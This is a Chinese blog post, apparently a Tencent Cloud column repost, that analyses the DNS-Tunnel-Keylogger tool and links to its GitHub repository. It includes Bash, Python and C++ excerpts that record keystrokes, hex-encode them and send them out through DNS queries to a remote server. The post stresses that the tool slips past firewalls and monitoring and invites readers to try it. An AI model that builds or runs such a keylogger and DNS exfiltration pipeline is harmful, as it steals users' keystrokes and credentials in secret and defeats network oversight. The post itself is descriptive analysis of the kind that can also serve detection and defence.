首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >DNS-Tunnel-Keylogger DNS隧道键盘记录器分析

DNS-Tunnel-Keylogger DNS隧道键盘记录器分析

作者头像
qife122
发布2025-06-16 09:07:00
发布2025-06-16 09:07:00
12700
代码可运行
举报
运行总次数:0
代码可运行

系统功能概述

DNS-Tunnel-Keylogger实现了键盘记录并将数据通过DNS隧道隐蔽传输到服务端的功能,它绕过了防火墙并减少了被检测的风险,主要功能包括:

  1. 数据外泄传输:将数据通过DNS查询请求发送到指定的DNS服务器。
  2. 键盘记录:记录用户的键盘输入,并将记录的数据通过DNS协议发送到远程服务器。
  3. 数据编码与解码:将数据转换为十六进制格式进行传输,并在接收端进行解码。
  4. 连接管理:管理与远程DNS服务器的连接,包括连接的建立、数据包的发送与重试机制。

系统架构

该系统主要由以下几个模块组成:

  1. DNS数据发送模块:负责将数据编码并通过DNS查询请求发送到远程服务器。
  2. 键盘记录模块:记录用户的键盘输入,并将记录的数据传递给DNS数据发送模块。
  3. 数据解析模块:在接收端解析从DNS查询请求中提取的数据,并将其还原为原始数据。
  4. 连接管理模块:负责与远程DNS服务器的连接管理,包括连接的建立、数据包的发送与重试机制。

主要核心技术点

  1. DNS协议利用:通过DNS查询请求将数据编码并发送到远程服务器,利用DNS协议的隐蔽性进行数据传输。
  2. 数据编码:将数据转换为十六进制格式进行传输,确保数据在传输过程中不被篡改或丢失。
  3. 键盘记录:通过系统钩子(Hook)捕获用户的键盘输入,并将输入数据记录到日志文件中。
  4. 多平台支持:系统支持在Linux和Windows平台上运行,分别通过Bash脚本和C++代码实现。

核心代码分析

DNS数据发送模块(Bash脚本)

代码语言:javascript
代码运行次数:0
运行
复制
# 将数据编码为十六进制格式
data=$(echo "$letters" | xxd -ps -c 200 | tr -d '\n' | head -c -2)
# 将编码后的数据通过DNS查询请求发送到远程服务器
dig_out=$(dig $encoded A +short)

键盘记录模块(Bash脚本)

代码语言:javascript
代码运行次数:0
运行
复制
# 记录用户的键盘输入并保存到日志文件中
script -f -q -I "$log_file_path" 2> /dev/null
# 将日志文件中的内容通过DNS协议发送到远程服务器
tail -f "$log_file_path" | ./connection.sh "$domain" &

数据解析模块(Python)

代码语言:javascript
代码运行次数:0
运行
复制
# 解析接收到的数据包
class DataParser():
    def __init__(self, ip):
        self.last_received = -1
        self.data = bytearray()
        self.ip = ip
    def add(self, packet_number: int, data: bytes):
        if packet_number == self.last_received:  # 重复的数据包
            raise ShortCircuitException()
        if not (packet_number > self.last_received or packet_number == 0):
            self.last_received = 0
            raise PacketsOutOfOrderException()
        try:
            data.decode('ascii')
            self.data.extend(data)
        except:
            print("Unable decode last data packet: " + str(data))
        finally:
            self.last_received = packet_number

连接管理模块(C++)

代码语言:javascript
代码运行次数:0
运行
复制
// 建立与远程DNS服务器的连接
int startConnection(const char* domain) {
    // 发送DNS查询请求以建立连接
    DNS_STATUS status = DnsQuery(domain, DNS_TYPE_A, DNS_OPTIONS, NULL, &dnsRecord, NULL);
    if (status != 0) {
        return -1;
    }
    return 0;
}

应用场景

  1. 隐蔽数据传输:适用于需要在不引起网络监控注意的情况下传输敏感数据的场景。
  2. 键盘记录与监控:可用于监控用户的键盘输入,适用于安全审计或恶意软件场景。
  3. 跨平台数据收集:支持Linux和Windows平台,可用于跨平台的数据收集与传输。

系统总结

DNS-Tunnel-Keylogger通过利用DNS隧道协议的隐蔽性,实现了数据的隐蔽传输和键盘记录功能。系统支持多平台运行,并具备较强的抗干扰能力,能够在网络监控下进行数据传输。感兴趣的朋友可以试试。

github链接地址:https://github.com/Geeoon/DNS-Tunnel-Keylogger.git

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-03-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全技术点滴分享 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 系统功能概述
  • 系统架构
  • 主要核心技术点
  • 核心代码分析
    • DNS数据发送模块(Bash脚本)
    • 键盘记录模块(Bash脚本)
    • 数据解析模块(Python)
    • 连接管理模块(C++)
  • 应用场景
  • 系统总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档